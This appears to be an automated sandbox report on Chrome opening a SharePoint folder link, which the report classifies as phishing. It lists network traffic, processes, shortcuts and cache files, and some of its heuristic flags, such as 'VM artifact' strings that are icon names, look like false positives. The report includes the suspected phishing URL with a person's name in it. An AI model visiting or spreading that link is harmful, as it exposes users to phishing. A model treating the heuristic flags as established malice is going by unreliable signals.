Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 51813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 51909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51889
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51802
Source: unknown	Network traffic detected: HTTP traffic on port 51845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51806
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51763
Source: unknown	Network traffic detected: HTTP traffic on port 51751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51898
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51814
Source: unknown	Network traffic detected: HTTP traffic on port 51743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51893
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51775
Source: unknown	Network traffic detected: HTTP traffic on port 51825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51896
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51818
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 51779 -> 443

System Summary

Classification label

Source: classification engine

Classification label: mal48.phis.win@22/1029@40/17

Creates files inside the program directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Creates files inside the user directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,11744795748709763570,15329264749234491015,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,11744795748709763570,15329264749234491015,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Windows shortcut file (LNK) contains relative path

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Creates a directory in C:\Program Files

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Persistence and Installation Behavior

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1036			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1528
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 1528			Jump to dropped file

Boot Survival

Stores files to the Windows start menu directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Malware Analysis System Evasion

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: chromecache_992.1.dr, chromecache_1476.1.dr	Binary or memory string: "}};(0,i.fF)(n,t)}function O(e,t){void 0===e&&(e="");var n={style:{MozOsxFontSmoothing:"grayscale",WebkitFontSmoothing:"antialiased",fontStyle:"normal",fontWeight:"normal",speak:"none"},fontFace:{fontFamily:'"FabricMDL2Icons-21"',src:"url('".concat(e,"odsp-next-icons-21-f9e5f519.woff') format('woff')")},icons:{DisconnectVirtualMachine:"
Source: chromecache_992.1.dr, chromecache_1378.1.dr, chromecache_1476.1.dr, chromecache_1101.1.dr, chromecache_1084.1.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_1378.1.dr, chromecache_1101.1.dr, chromecache_1084.1.dr	Binary or memory string: ",DisconnectVirtualMachine:"